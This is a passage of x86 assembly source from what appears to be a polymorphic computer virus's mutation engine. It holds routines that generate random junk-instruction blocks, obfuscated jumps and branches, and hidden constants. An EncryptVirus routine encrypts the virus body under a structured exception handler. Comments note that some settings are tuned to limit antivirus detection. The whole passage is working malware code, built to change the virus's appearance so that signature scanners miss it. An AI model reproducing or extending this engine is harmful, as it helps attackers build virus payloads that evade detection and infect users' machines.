                            ; ebx is now hidden
        ;***
        Call   Random32
        jp     @GOFORADD
        
        neg    ebx
        mov    cl,byte ptr [ebp + counter_reg]
        Call   GEN_SUB_REG32_IMM
        
        jmp    MakeJMP
   @GOFORADD:

        mov    cl,byte ptr [ebp + counter_reg]
        Call   GEN_ADD_REG32_IMM

      

       MakeJMP:
        Call   Make_Random_Blk;-**-
        
        mov    cl,byte ptr [ebp + counter_reg]
        Call   RestConst 
     @MakeJMP: 
        mov     cl, byte ptr [ebp + counter_reg]
        mov     eax, dword ptr [ebp + LoopOFS]
        mov     dword ptr [ebp + MulFactor], 1
        CALL    MakePolyJMP
        
        
        ;CALL   SHIT_TEST
    
        mov     dword ptr [ebp + CryptorPatch],edi
        
        Call   Make_Random_Blk;-**-
        
        push   8
        pop    eax
        push   12
        pop    ecx
        Call   Get_rand_range 

        mov    ecx,eax
        Call   GarbageBlock
        
        Call   Make_Random_Blk;-**-        
        ret

PolyCryptor endp

CODEGenerated dd 0 ; retrieve the content of this variable immediatly after calling Make_Random_BlkXXXX (in case of Branch destination calculation)

Make_Random_Blk proc uses ecx ebx edx esi 

        push    edi
        
        xor    eax,eax
        push   18                         
        pop    ecx
        Call   Get_rand_range


        .IF    eax     <= 7
               Call    LittleBlk
        .ELSEIF eax    >  7  && eax <= 10
               Call    Push_Pop_blk 
        .ELSEIF eax    == 11
               Call    MediumBlk  
        .ELSEIF eax    >  12 && eax <= 16           ; (trop de détection si ce facteur est trop élevé.)
               Call    Branch_blk
        .ELSEIF eax    == 17
               Call    MemAccess_blk
        .ENDIF

        pop     eax
        sub     eax, edi
        neg     eax
        mov     dword ptr [ebp + CODEGenerated], eax    ; <- put in eax size of code generated
        ret
Make_Random_Blk endp

TrashOrBlk  proc
        Call    Random32
        and     eax, 07h            ; 1 / 7 this can be trash
        dec     eax
        jnz     RandBlk
        Call    Random32
        and     eax, 7Fh
        inc     eax
        push    edi
        Call    GenTrashBlk
        pop     eax
        sub     eax, edi
        neg     eax
        mov     dword ptr [ebp + CODEGenerated], eax    ; <- put in eax size of code generated
        ret
       RandBlk:
        Call    Make_Random_Blk
        ret
TrashOrBlk  endp

Make_Random_Blk_no_0_disp proc

       BadGen:
        push    edi
        Call    Make_Random_Blk
        pop     eax
        sub     eax, edi
        or      eax, eax
        jz      BadGen              ; we don't want zero disp

        ret
Make_Random_Blk_no_0_disp endp

;/BRANCH
BranchMaxRecurs db 0

pBranchBuf      equ ESI

Branch_blk proc uses esi 

       Call     LittleBlk
       
       inc      byte ptr [ebp + BranchMaxRecurs]
       cmp      byte ptr [ebp + BranchMaxRecurs], 6
       jae      ExitBranch
       

        
       sub    esp, 20
       mov    esi, esp
       
       push   PAGE_EXECUTE_READWRITE
       push   MEM_RESERVE or MEM_COMMIT
       push   MAX_BRANCH_CODE_SIZE
       push   0
       lea    eax, dword ptr [ebp + szVirtualAlloc]
       Call   K32Api
       mov    dword ptr [pBranchBuf],eax
       
       push   eax
       xor    eax,eax
       push   5                         
       pop    ecx
       Call   Get_rand_range
       mov    ecx, eax
       or     ecx, ecx
       pop    eax

       jz     @Branch1
       dec    ecx
       jz     @Branch2

      @JmpOver:
       Call   RandomJMPOver
       jmp    @F
       
      @Branch1:
       Call   BranchMethod1
       jmp    @F
      @Branch2:
       Call   BranchMethod2
      @@:
      
       push   MEM_DECOMMIT or MEM_RELEASE	
       push   MAX_BRANCH_CODE_SIZE                        
       push   dword ptr [pBranchBuf]
       lea    eax, dword ptr [ebp + szVirtualFree]
       Call   K32Api

       add    esp, 20
       
       and      byte ptr [ebp + BranchMaxRecurs], 0
      ExitBranch:
       Call     LittleBlk
       ret
Branch_blk endp

UniversalCALL proc
       Call   GEN_CALL_OFS
       ret
UniversalCALL endp

SizeOfJMP   dd 0                ; retrieve the content of this variable immediatly after calling UniversalJMP

UniversalJMP proc
       push   edi
       Call   GEN_JMP_OFS
       pop    eax
       sub    eax, edi
       neg    eax
       mov    dword ptr [ebp + SizeOfJMP], eax
       ret
UniversalJMP endp

JMPSHORT equ 0
JMPLONG  equ 1

BranchOFFSET1       equ     esi
BranchOFFSET2       equ     esi+4
BranchOFFSET3       equ     esi+8
AdjustBranch1       equ     esi+12
AdjustBranch2       equ     esi+16
SizeGenerated2      equ     esi+20
SizeGenerated3      equ     esi+24
_pBranchBuf         equ     esi+28




JMP_TABLE       dd  OFFSET GEN_JNZ_OFS
                dd  OFFSET GEN_JZ_OFS   
                dd  OFFSET GEN_JNZ_OFS
                dd  OFFSET GEN_JZ_OFS  
                dd  OFFSET GEN_JNZ_OFS
                dd  OFFSET GEN_JZ_OFS 
                dd  OFFSET GEN_JNZ_OFS
                dd  OFFSET GEN_JZ_OFS
TOTALJZ_JNZ     = (OFFSET $ - OFFSET JMP_TABLE) / 4                    
                dd  OFFSET GEN_JNS_OFS
                dd  OFFSET GEN_JS_OFS
                dd  OFFSET GEN_JG_OFS
                dd  OFFSET GEN_JL_OFS
                dd  OFFSET GEN_JGE_OFS
                dd  OFFSET GEN_JLE_OFS
                dd  OFFSET GEN_JBE_OFS
                dd  OFFSET GEN_JA_OFS
                dd  OFFSET GEN_JNB_OFS
                dd  OFFSET GEN_JP_OFS
                dd  OFFSET GEN_JNP_OFS

TOTALJMP        = (OFFSET $ - OFFSET JMP_TABLE) / 4 

RandomJMPOver proc uses ecx esi
       sub    esp, 60
       mov    esi, esp
       mov    dword ptr [_pBranchBuf], eax
       and    dword ptr [BranchOFFSET1],0 ; unconditional jmp flag
       and    dword ptr [BranchOFFSET2],0 ; jz/jnz temp flag
       
       push   dword ptr [ebp + CMP_Range]
       
       xor    eax,eax
       push   5                         
       pop    ecx
       Call   Get_rand_range

       or     eax, eax
       jz     LooksLikeDecryptor
       dec    eax
       jz     Random
       dec    eax
       jz     SkipDirectCMP

       
   SimpleJMP:
       inc    dword ptr [BranchOFFSET1]
       jmp    SkipDirectCMP
       
   Random:

       Call   Random32
       push   eax
       Call   Random32
       and    eax, 07h
       dec    eax
       pop    eax
       jnz    @F
       sub    eax, eax
      @@:
       mov    dword ptr [ebp + CMP_Range], eax
       Call   Get2RandRegs

       Call   Random32
       jp     @@RandRegs

       Call   Get2RandRegs
       
       Call   GEN_CMP_REG32_REG32
       
       jmp    SkipDirectCMP
       
LooksLikeDecryptor:

        Call   Random32
        and    eax, 7Fh
        mov    dword ptr [ebp + CMP_Range], eax
        Call   Get2RandRegs
        mov    cl, ch
        
      @@RandRegs:
        
        push   ecx
        xor    eax,eax
        push   5
        pop    ecx
        Call   Get_rand_range 
        pop    ecx
      
        or     eax,eax
        jz     @GEN_CMP_REG32_IMM
        dec    eax
        jz     @GEN_TEST_REG32_REG32
        dec    eax
        jz     @GEN_TEST_REG32_IMM32
        dec    eax
        jz     @GEN_OR_REG32_REG32    
  
        jmp    SkipDirectCMP
@GEN_CMP_REG32_IMM:
        Call   Random32
        mov    cl, al
        and    cl, 7
        push   ecx
        xor    eax,eax
        mov    ecx, dword ptr [ebp + CMP_Range]
        jecxz     @F
        Call   Get_rand_range 
       @@:
        
        mov    ebx,eax
        pop    ecx
        Call   GEN_CMP_REG32_IMM
        jmp    SkipDirectCMP
        
@GEN_TEST_REG32_REG32:
        CAll   GEN_TEST_REG32_REG32
        jmp    SkipDirectCMP
        
@GEN_TEST_REG32_IMM32:
        Call   Random32
        mov    cl, al
        and    cl, 7
        Call   Random32
        mov    ebx, eax
        Call   ArrangeTo8Bits?
        Call   ArrangeTo8Bits?
        Call   ArrangeTo8Bits?
        inc    dword ptr [BranchOFFSET2]
        Call   GEN_TEST_REG32_IMM32
        jmp    SkipDirectCMP 
          
@GEN_OR_REG32_REG32:
        Call   Get2RandRegs
        Call   GEN_OR_REG32_REG32
SkipDirectCMP:

       push   edi
       mov    edi, dword ptr [_pBranchBuf]
       
       Call   Make_Random_Blk_no_0_disp
       mov    ebx, dword ptr [ebp + CODEGenerated]

       pop    edi
       push   ebx
       ;Call   UniversalJMP


       xor    eax,eax
       .IF    dword ptr [BranchOFFSET2] == 0
              push   TOTALJMP
       .ELSE
              push   TOTALJZ_JNZ                ; for test reg32, XXXXXXXX
       .ENDIF
       pop    ecx
       Call   Get_rand_range 

       lea    ecx,dword ptr [ebp + JMP_TABLE]
       mov    eax,dword ptr [ecx + (eax * 4)]
       add    eax,ebp  

       push   edi
       .IF    dword ptr [BranchOFFSET1] == 0
              Call   eax
       .ELSE
              Call   GEN_JMP_OFS
       .ENDIF
       
       pop    eax
       sub    eax, edi
       neg    eax
       mov    dword ptr [ebp + SizeOfJMP], eax


       pop    ebx


       mov    eax, dword ptr [ebp + SizeOfJMP]

       mov    ecx, edi
       
       .IF    eax <= 4          ; short
              dec    ecx
       .ELSE
              sub    ecx, 4
       .ENDIF

       mov    eax, ecx
       .IF    ecx >= 80h && ecx < -80h 
              mov    dword ptr [eax], ebx           ; Ajdust JMP
       .ELSE
              mov    byte ptr [eax], bl
       .ENDIF      
       mov    ecx, ebx
       mov    esi, dword ptr [_pBranchBuf]
       rep    movsb
       
       pop    dword ptr [ebp + CMP_Range]
       
       add    esp, 60
       ret
RandomJMPOver endp

BranchMethod1 proc uses ecx esi
              ;in : eax = branch offset 
              
       sub    esp, 60
       mov    esi, esp
       mov    dword ptr [_pBranchBuf], eax      ; save branch buf offset
       
       Call   UniversalCALL                     ; Create Call
       mov    eax, edi
       sub    eax, 4
       mov    dword ptr [AdjustBranch1], eax    

       Call   Make_Random_Blk
       mov    ebx, eax;dword ptr [ebp + CODEGenerated]
       
       push   edi
       mov    edi, dword ptr [_pBranchBuf]
       Call   TrashOrBlk

       ;mov    eax, dword ptr [ebp + CODEGenerated]
       mov    dword ptr [SizeGenerated2], eax
      
       add    ebx, eax
       
       
       Call   Make_Random_Blk_no_0_disp
       mov    eax, dword ptr [ebp + CODEGenerated]
       inc    eax                               ; for ret
       add    dword ptr [SizeGenerated2], eax
       mov    al, 0C3h
       stosb
       Call   TrashOrBlk
       ;mov    eax, dword ptr [ebp + CODEGenerated]
       add    dword ptr [SizeGenerated2], eax

       pop    edi
       
        
       push   ebx
       mov    ebx, dword ptr [SizeGenerated2]
       Call   UniversalJMP
       pop    ebx

       add    ebx, dword ptr [ebp + SizeOfJMP]
       mov    eax, dword ptr [AdjustBranch1]
       mov    dword ptr [eax], ebx            ; time to adjust CALL
       
       mov    eax, dword ptr [ebp + SizeOfJMP]

       
       mov    ecx, edi
       
       .IF    eax <= 4          ; short
              dec    ecx
       .ELSE
              sub    ecx, 4
       .ENDIF
       
       ;mov    dword ptr [AdjustBranch2], ecx
       mov    eax, ecx;dword ptr [AdjustBranch2]
       mov    ecx, dword ptr [SizeGenerated2]
       .IF    ecx >= 80h && ecx < -80h 
              mov    dword ptr [eax], ecx           ; Ajdust JMP
       .ELSE
              mov    byte ptr [eax], cl
       .ENDIF       


       mov    esi, dword ptr [_pBranchBuf]
       rep    movsb


       add    esp, 60
       ret
BranchMethod1 endp

BranchMethod2 proc uses ecx esi
              ;in : eax = branch offset 
              
       sub    esp, 60
       mov    esi, esp
       mov    dword ptr [_pBranchBuf], eax      ; save branch buf offset

       push   edi
       mov    edi, eax
       push   edi;;

       Call   TrashOrBlk
       
       ;mov    eax, dword ptr [ebp + CODEGenerated]
       mov    dword ptr [BranchOFFSET1], eax     ; for call, will be adjusted later...
       
       mov    dword ptr [SizeGenerated2], eax

       Call   Make_Random_Blk_no_0_disp

       mov    eax, dword ptr [ebp + CODEGenerated]
       inc    eax                                   ; for ret
       add    dword ptr [SizeGenerated2], eax
       mov    al, 0C3h
       stosb

       Call   TrashOrBlk
       ;mov    eax, dword ptr [ebp + CODEGenerated]
       add    dword ptr [SizeGenerated2], eax
       Call   Make_Random_Blk
       mov    eax, dword ptr [SizeGenerated2]
       add    eax, dword ptr [ebp + CODEGenerated]
       add    eax, 5
       mov    dword ptr [SizeGenerated3], eax
       Call   UniversalCALL                     ; Create Call
       mov    eax, edi
       sub    eax, 4
       pop    ecx;;
       sub    ecx, edi
       add    ecx, dword ptr [BranchOFFSET1]
       mov    dword ptr [eax], ecx              ; adjust call offset
       
       pop    edi


       mov    ebx, dword ptr [SizeGenerated2]
       Call   UniversalJMP

       
       mov    eax, dword ptr [ebp + SizeOfJMP]

       mov    ecx, edi
       
       .IF    eax <= 4          ; short
              dec    ecx
       .ELSE
              sub    ecx, 4
       .ENDIF

       ;mov    dword ptr [AdjustBranch2], ecx
       mov    eax, ecx; dword ptr [AdjustBranch2]
       mov    ecx, dword ptr [SizeGenerated2]
       .IF    ecx >= 80h && ecx < -80h 
              mov    dword ptr [eax], ecx           ; Ajdust JMP
       .ELSE
              mov    byte ptr [eax], cl
       .ENDIF       

       mov    ecx, dword ptr [SizeGenerated3]
       mov    esi, dword ptr [_pBranchBuf]
       rep    movsb
       
       add    esp, 60
       ret
BranchMethod2 endp

BranchMethod3 proc
       sub    esp, 60
       mov    esi, esp
       mov    dword ptr [_pBranchBuf], eax      ; save branch buf offset
       push   edi
       mov    edi, eax
       Call   Make_Random_Blk
       ;mov    eax, dword ptr [ebp + CODEGenerated]
       mov    dword ptr [BranchOFFSET1], eax
       
       pop    edi
       
       add    esp, 60
       ret
BranchMethod3 endp


WhereToJmp  dd  0
;UseDec db 0

_LoopOFS equ esi
MakePolyJMP proc     uses esi edx ecx ebx; in : ecx ctr_reg


        sub    esp, 10
        mov    esi, esp
        mov    dword ptr [_LoopOFS], eax
        
        push   ecx
        xor    eax,eax
        push   4
        pop    ecx
        Call   Get_rand_range 
        pop    ecx
        
        mov    ch, cl


        
        or     eax,eax
        jz     @GEN_CMP_REG32_IMM
        dec    eax
        jz     @GEN_TEST_REG32_REG32
        dec    eax
        jz     @GEN_OR_REG32_REG32    
        
        jmp    SkipDirectCMP
@GEN_CMP_REG32_IMM:
        push   ecx
        Call   Make_Random_Blk;-**-
        xor    eax,eax
        mov    ecx, dword ptr [ebp + CMP_Range]
        jecxz  @F
        Call   Get_rand_range 
       @@:
        
        mov    ebx,eax
        pop    ecx
        Call   GEN_CMP_REG32_IMM
        jmp    SkipDirectCMP
        
@GEN_TEST_REG32_REG32:
        Call   Make_Random_Blk;-**-
        CAll   GEN_TEST_REG32_REG32
        jmp    SkipDirectCMP
        
@GEN_OR_REG32_REG32:
        Call    Make_Random_Blk;-**-
        Call    GEN_OR_REG32_REG32
SkipDirectCMP:

                    
        Call   Random32             ; Get method
        jp     @Method1
        Call   Random32             ; Get method
        jp     @JmpLong
        xor    ebx, ebx            ; setup relative jmp short
        jmp    @Method2
       @JmpLong:   
        mov    ebx, edi            ; setup relative jmp long
        jmp    @Method2
      @Method1:
        mov    ebx,dword ptr [_LoopOFS]
        sub    ebx,edi   ; adresse où sauter   
        
       
        xor    eax,eax

        .IF    dword ptr [ebp + MulFactor] == 1
               push   4
        .ELSE
               push   3
        .ENDIF
        pop    ecx
        Call   Get_rand_range 

        or     eax,eax
        jz     @GEN_JNS_OFS
        dec    eax
        jz     @GEN_JG_OFS
        dec    eax
        jz     @GEN_JGE_OFS
        
        Call   GEN_JNZ_OFS
        jmp    ExitJmp
      @GEN_JNS_OFS: 
        CALL   GEN_JNS_OFS
        jmp    ExitJmp
      @GEN_JG_OFS:
        CALL   GEN_JG_OFS
        jmp    ExitJmp
      @GEN_JGE_OFS:
        CALL   GEN_JGE_OFS

        
       ExitJmp:
        jmp ExitFinal
        
       @Method2: 
        ;---
        xor    eax,eax
        
        .IF    dword ptr [ebp + MulFactor] == 1
               push   4
        .ELSE
               push   3
        .ENDIF
        pop    ecx
        Call   Get_rand_range 
        
 
        
        
        or     eax,eax
        jz     @GEN_JS_OFS
        dec    eax
        jz     @GEN_JL_OFS
        dec    eax
        jz     @GEN_JLE_OFS

        
        Call   GEN_JZ_OFS
        jmp    ExitJmp2
      @GEN_JS_OFS: 
        CALL   GEN_JS_OFS
        jmp    ExitJmp2
      @GEN_JL_OFS:
        CALL   GEN_JL_OFS
        jmp    ExitJmp2
      @GEN_JLE_OFS:
        CALL   GEN_JLE_OFS
      ExitJmp2:


        
        mov    eax, edi
        .IF    byte ptr [ebp + JmpShort?] == 1
               dec    eax
        .ELSE
               sub    eax, 4
        .ENDIF


        mov    dword ptr [ebp + WhereToJmp], eax

        .IF    byte ptr [ebp + JmpShort?] == 0
        


               mov    ebx, edi
               mov    edx, edi
              Encore:
               mov    ebx, edx
               Call   Make_Random_Blk   ; jmp long
               sub    ebx, edi
               neg    ebx
               Call   IS_NBR_8B
               jnc    Encore            ; not enough disp

               push   ebx
               mov    edx, edi
               mov    ebx,dword ptr [_LoopOFS]
               sub    ebx,edi   ; adresse où sauter 
               CALL   GEN_JMP_OFS
               sub    edx, edi
               neg    edx 
               pop    ebx
               add    ebx, edx

               push   ebx
               mov    edx, edi
               Call   Make_Random_Blk
               sub    edx, edi
               neg    edx 
               pop    ebx
               add    ebx, edx

               Call   Random32
               and    eax, 7
               jnz    @Notrash
               xor    eax,eax
               inc    eax
               push   100
               pop    ecx
               Call   Get_rand_range 
               add    ebx, eax
               Call   GenTrashBlk
              @Notrash:
                      
               mov     eax, dword ptr [ebp + WhereToJmp]
               mov     dword ptr [eax], ebx

        .ELSE

               mov    ebx, edi
               Call   LittleBlk         ; little block for short disp...
               sub    ebx, edi
               neg    ebx

               
               push   ebx
               mov    edx, edi
               mov    ebx,dword ptr [_LoopOFS]
               sub    ebx,edi
               CALL   GEN_JMP_OFS
               sub    edx, edi
               neg    edx 
               pop    ebx
               add    ebx, edx
               
               push   ebx
               mov    edx, edi
               Call   LittleBlk         ; 
               sub    edx, edi
               neg    edx 
               pop    ebx
               add    ebx, edx

               Call   Random32
               and    eax, 7
               jnz    @Notrash2
               xor    eax,eax
               inc    eax
               push   20
               pop    ecx
               Call   Get_rand_range 
               add    ebx, eax
               Call   GenTrashBlk
              @Notrash2:
              
               mov     eax, dword ptr [ebp + WhereToJmp]
               mov     byte ptr [eax], bl
               
        .ENDIF 



     ExitFinal:   
        add    esp, 10
        ret

MakePolyJMP endp


GenTrashBlk    proc uses ecx

        xchg    eax, ecx
       @@:
        Call    Random32
        stosb
        dec     ecx
        jnz     @B
        ret 
        
GenTrashBlk    endp

        
EncryptVirus proc

        
        
        push   edi
        
        and    dword ptr [ebp + PolyErrFlag],0
        
        mov    edi,eax

        mov    esi, dword ptr [ebp + What2encrypt]
        mov    ecx, dword ptr [ebp + SizeOfWhat2encrypt]
        shr    ecx, 2
        inc    ecx
        rep    movsd


        mov     ebx, dword ptr [ebp + PolyBuf]
        sub     ebx, OFFSET VirusStart
        add     ebx,dword ptr [ebp + PolySize]       ; get MEM delta
        mov     eax,dword ptr [ebp + BaseOFS]
        add     dword ptr [eax],ebx                  ; Adjust Delta
        
        mov      ecx,0C3C3C3C3h                      ; ret


        mov      esi,dword ptr [ebp + CryptorPatch]
        xchg     ecx,dword ptr [esi]                 ; DWORD TO PATCH


         

       Call    Save_regs                             ;

       lea     eax,[poly_handler+ebp]                ; Setup SEH frame for poly error handling
       push    eax        
       mov     dword ptr [ebp + @@@@Delta],ebp       ; Save Delta 
       mov     dword ptr [ebp + @@StackPtr],esp      ; Save Stack
       xor     edx,edx                         
       push    dword ptr fs:[edx]            
       mov     dword ptr fs:[edx],esp

       
       mov    eax,dword ptr [ebp + PolyBuf]
       add    eax,dword ptr [ebp + PolySize] 
       mov    eax,dword ptr [eax+4]               
       mov    dword ptr [ebp + VirCODE],eax          ; Portion of virus code (PolyErrFlag)
              

            ;int 3; *-*-*

        Call     dword ptr [ebp + PolyBuf] 



     poly_handler:
        cld      ; <- clear direction flag (possible "std" executed in poly code)

        
         DB      0BCh
      @@StackPtr   dd      00000000h                 ; Restore Stack
      
        xor     edx,edx    
        pop     dword ptr fs:[edx] 

        
  
        db      0BDh
      @@@@Delta dd 00000000h                         ; Restore Delta


        push   eax
        
        mov    eax,dword ptr [ebp + PolyBuf]
        add    eax,dword ptr [ebp + PolySize]                
        mov    edx,dword ptr [ebp + VirCODE]
        mov    eax,dword ptr [eax+4]                 ; Encryption check in case of error
        cmp    edx,eax
        jnz    @F

        inc     dword ptr [ebp + PolyErrFlag]        ; IF edx == eax then virus is not properly encrypted

        @@:
        
        pop    eax
        
        Call     Restore_regs 
        
        xchg     ecx,dword ptr [esi];;
        sub      dword ptr [eax],ebx
        mov      ebx,dword ptr [ebp + @Delta]
        add      dword ptr [eax],ebx                 ; ReAjust Offset
            
        pop      edi
        



        
        ret
        
EncryptVirus endp




                  


ConstHider        dd    0
                  dd    0
                  dd    0
                  dd    0
                  
HideCtr           dd    0
HideMaxCtr        dd    0

    ; In ebx = const to hide
          
HideConst      proc uses ecx edx

        push   edi
        lea    edi, [ebp + RestoreTBL]
        xor    eax, eax
        mov    ecx, 4
        rep    stosd
        pop    edi
        and    dword ptr [ ebp + HideCtr], 0
        xor    eax,eax
        inc    eax
        push   4
        pop    ecx
        Call   Get_rand_range 
        mov    dword ptr [ ebp + HideMaxCtr], eax
        
       HideLp:
        mov    edx, dword ptr [ ebp + HideCtr]
        
        Call   Random32
        mov    dword ptr [ebp + edx*4 + ConstHider], eax        

        push   ecx
        xor    eax,eax
        push   2
        pop    ecx
        Call   Get_rand_range 
        pop    ecx
        
        or     eax,eax
        jz     HIDE_SUB

        dec    eax
        jz     HIDE_ADD


        
     HIDE_SUB:
        sub    ebx,dword ptr [ebp + edx*4 + ConstHider]
        mov    eax, OFFSET GEN_ADD_REG32_IMM
        jmp    @F
     HIDE_ADD:
        add    ebx,dword ptr [ebp + edx*4 + ConstHider]
        mov    eax, OFFSET GEN_SUB_REG32_IMM
       @@:
        mov    dword ptr [ebp + edx * 4 + RestoreTBL], eax
        inc    dword ptr [ ebp + HideCtr]
        mov    eax, dword ptr [ ebp + HideMaxCtr]
        cmp    eax, dword ptr [ ebp + HideCtr]
        jnz    HideLp
        ret

HideConst      endp


RestoreTBL        dd 0  
                  dd 0  
                  dd 0
                  dd 0
                  
                  dd 0

        ; in: cl = reg with hidden const to restore
        
RestConst      proc uses edx esi

        push   ebx
        push   ecx
        
        xor    eax, eax
       RestLp:
       
        lea    edx,dword ptr [ebp + RestoreTBL]
        mov    esi,dword ptr [edx + (eax * 4)]
        or     esi, esi                                 ; Are we finished
        jz     OutLp
        add    esi,ebp

        mov    ebx,dword ptr [ebp + eax*4+ ConstHider]
        push   eax
        push   esi
        Call   Make_Random_Blk
        pop    esi
        Call   esi
        pop    eax
        inc    eax
        jmp    RestLp
        
       OutLp:
        pop    ecx
        pop    ebx

        ret
RestConst      endp


;ReturnAddr       dd 0
VirCODE          dd 0
PolyErrFlag      dd 0



        MediumBlk   proc uses ebx
        ;-----------------------------------------
        push   edx
        push   ecx
        xor    eax, eax
        push   10               
        pop    ecx
        Call   Get_rand_range 
        or     eax,eax
        jz     @F
        mov    ecx,eax
        Call   GarbageBlock
       @@:
        pop    ecx
        pop    edx
        ;-----------------------------------------
        ret
        MediumBlk   endp


        
        LittleBlk proc uses ebx
        ;-----------------------------------------
        push   edx
        push   ecx
        xor    eax,eax
        push   5                
        pop    ecx
        Call   Get_rand_range 
        or     eax,eax
        jz     @F
        mov    ecx,eax
        Call   GarbageBlock
       @@:
        pop    ecx
        pop    edx
        ;-----------------------------------------
        ret
        LittleBlk   endp



GarbageBlock    proc

       @@:
        push    ecx
        Call    Garbage
        pop     ecx
        dec     ecx
        jnz     @B
        
        ret
GarbageBlock    endp


Garbage:
        
        
        


        push   ebx

        push   dword ptr [ebp + _MOD]
        push   dword ptr [ebp + _SCALE]
        push   dword ptr [ebp + Displacement]
                
        Call   Random32
        mov    ebx,eax
        Call   ArrangeTo8Bits?
                     
        xor    eax,eax

        .IF    byte ptr [ebp + _garb1_reserved] == 0 ; ?
               push   TOTALNBR
        .ELSE
               push   TOTALNBR - 2                      ; Pas de xchg, xadd ect...
        .ENDIF

        pop    ecx
        Call   Get_rand_range  

        
        lea    ecx,dword ptr [ebp + InstrTBL]
        mov    edx,dword ptr [ecx + (eax * 4)]
        
        add    edx,ebp  
        


        .IF     eax >= TOTALNBR - 2       ; init regs ...
        
                Call   Get2ValidAuxRegs   ; source reg IS modified (for XCHG, XADD)
                
        .ELSEIF    eax >= MEMSTARTNBR     ; for MEM operations
                Call   Get2ValidAuxRegs   ; for XCHG, XADD, LEA
                push   ecx
                

                xor    eax, eax
                push   3
                pop    ecx
                Call   Get_rand_range         
                mov    byte ptr [ebp + _MOD], al
                
                Call   Get2ValidAuxRegs
                mov    byte ptr [ebp + _REG_OPCODE], cl
                Call   Random32
                and    al, 7
                mov    byte ptr [ebp + _RM],al
        
                xor    eax, eax
                push   4
                pop    ecx
                Call   Get_rand_range    
        
        
                
                mov    byte ptr [ebp + _SCALE], al
                Call   Random32
                and    al, 7
                mov    byte ptr [ebp + _INDEX], al
                ;Call   Get2RandRegs
                Call   Random32
                and    al, 7
                mov    byte ptr [ebp + _BASE], al
                
                
                .IF    dword ptr [ebp + _MOD] == 0 && dword ptr [ebp + _RM] == 5
                Call   Random32
                jp     @F
                
                .ENDIF

                Call   GetRandomDataOFS
               @@:

                pop    ecx

                mov    dword ptr [ebp + Displacement], ebx
        .ELSE
                Call   Get2RandRegs

        .ENDIF
        Call   Rand_Prefix
        Call   Rand_OneByte
        Call   edx                                               ; Generate it !
        pop   dword ptr [ebp + Displacement]
        pop   dword ptr [ebp + _SCALE]
        pop   dword ptr [ebp + _MOD]
 
        pop    ebx
        ret
        


EnableAllRegsUse  db 0

;/MEM

MemAccess_blk proc uses ebx edx 

        cmp    byte ptr [ebp + EnableAllRegsUse], 1 ;!-!
        jb     @F
        xor    eax, eax     ; Exit Error
        ret
       @@:
        inc    byte ptr [ebp + EnableAllRegsUse]
        ;int 3
        
        push   dword ptr [ebp + base_reg]
        push   dword ptr [ebp + base_reg+4]
        mov    al, 60h          ; save regs
        stosb

        Call   GetRegs
        
        Call   Get2RandRegs
        mov    byte ptr [ebp + _INDEX], ch
        mov    byte ptr [ebp + garb_reg1], ch  
                      
        Call   Get2RandRegs
        mov    byte ptr [ebp + _BASE], ch
        mov    byte ptr [ebp + garb_reg2], ch
                
        Call   Get2RandRegs
        mov    byte ptr [ebp + _REG_OPCODE], ch
        mov    byte ptr [ebp + garb_reg3], ch
        

        Call   Make_Random_Blk_no_0_disp

        mov    al, 61h          ; restore regs
        stosb

        pop   dword ptr [ebp + base_reg+4]
        pop   dword ptr [ebp + base_reg]
        
        xor    eax, eax
        inc    eax          ; ExitOk
        and    byte ptr [ebp + EnableAllRegsUse], 0
        ret
MemAccess_blk endp


Get2ValidAuxRegs proc 


        xor    eax,eax


        .IF    byte ptr [ebp + _garb1_reserved]     !=   0     ; Reserved for memory access ?
               inc   eax
        .ENDIF

        .IF    byte ptr [ebp + _garb2_reserved]     !=   0     ; Reserved for memory access ?
               inc   eax
               .IF    EAX == 2                                 ; 2 garbage regs used ?
                      movzx  ecx, byte ptr [ebp + garb_reg3]
                      jmp    @F
               .ENDIF
        .ENDIF
        
        push   3                           
        pop    ecx
        Call   Get_rand_range  
          

        movzx  ecx,byte ptr [eax + ebp + garb_reg1]
       @@: 
        
        xor    eax,eax
        .IF    byte ptr [ebp + _garb1_reserved] != 0
               inc  eax
        .ENDIF    
        push   ecx
        push   3                          
        pop    ecx
        Call   Get_rand_range  
        pop    ecx
   
        mov    ch,byte ptr [eax + ebp + garb_reg1]


        ret
Get2ValidAuxRegs endp

Get2RandRegs proc  


       
        xor    eax,eax

        .IF    byte ptr [ebp + _garb1_reserved]     !=   0     ; Reserved for memory access ?
               inc   eax
        .ENDIF

        .IF    byte ptr [ebp + _garb2_reserved]     !=   0     ; Reserved for memory access ?
               inc   eax
               .IF    EAX == 2                                 ; 2 garbage regs used ?
                      movzx  ecx, byte ptr [ebp + garb_reg3]
                      jmp    @F
               .ENDIF
        .ENDIF
        
        push   3                           
        pop    ecx
        Call   Get_rand_range  
          
        movzx  ecx,byte ptr [eax + ebp + garb_reg1]
        
       @@:
        push   ecx
        xor    eax,eax
        push   7                           
        pop    ecx
        Call   Get_rand_range  
        pop    ecx
        mov    ch,byte ptr [eax + ebp + base_reg]

        ret

;Add_Flag db 0
Get2RandRegs endp

GetValid8BREGS proc

        push   edx
        Call   @GetValid8BREGS
        jc     @F
        pop    edx
        clc
        ret
        
       @@:
        pop   edx
        stc
        
        ret
GetValid8BREGS endp

@GetValid8BREGS proc 

        ;And   byte ptr [ebp + Add_Flag],0

        mov   edx,5
        
      Relp:
        push  edx
        Call  Get2ValidAuxRegs
        pop   edx
        mov   al,cl
        cmp   al,3
        jna   @F
        sub   al,4

       @@:
        
        Call  IS_GARB_REG
        jnc   @F
        clc
        
        ret
       @@:
        dec   edx
        jnz   Relp
        stc
        ret
@GetValid8BREGS endp

IS_GARB_REG proc
        
        CMP   byte ptr [ebp + garb_reg1], al
        jz    @F
        CMP   byte ptr [ebp + garb_reg2], al
        jz    @F   
        CMP   byte ptr [ebp + garb_reg3], al
        jz    @F
       @No8BGarb:
        clc 
        ret
            
       @@:

        CMP   word ptr [ebp + _garb1_reserved],0 ; Are regs reserved  ?
        JZ    @F                                 ; ok proceed
        cmp   byte ptr [ebp + garb_reg3], al     
        jnz   @No8BGarb                          ; Skip if not garb3
       @@:

 

        
      @RegOk:
                      
        .IF   al < 4

            mov   dl,al
            CAll  Random32
            jp    @F
            add   dl,4
           @@:

        .ENDIF
        
        mov   cl,dl

        Call   Random32
        and    eax,7
        mov    ch,al
        
        stc
        ret
IS_GARB_REG endp

WaitLoop_Blk    proc uses ebx edx ecx

        cmp    byte ptr [ebp + _garb1_reserved],0
        jz     @F
        ret
       @@:
        inc    byte ptr [ebp + _garb1_reserved] 

        Call   Random32
        mov    ebx, eax
        and    ebx, 7
        
        mov    eax, 300000                ;large range
        mov    ecx, 1000000
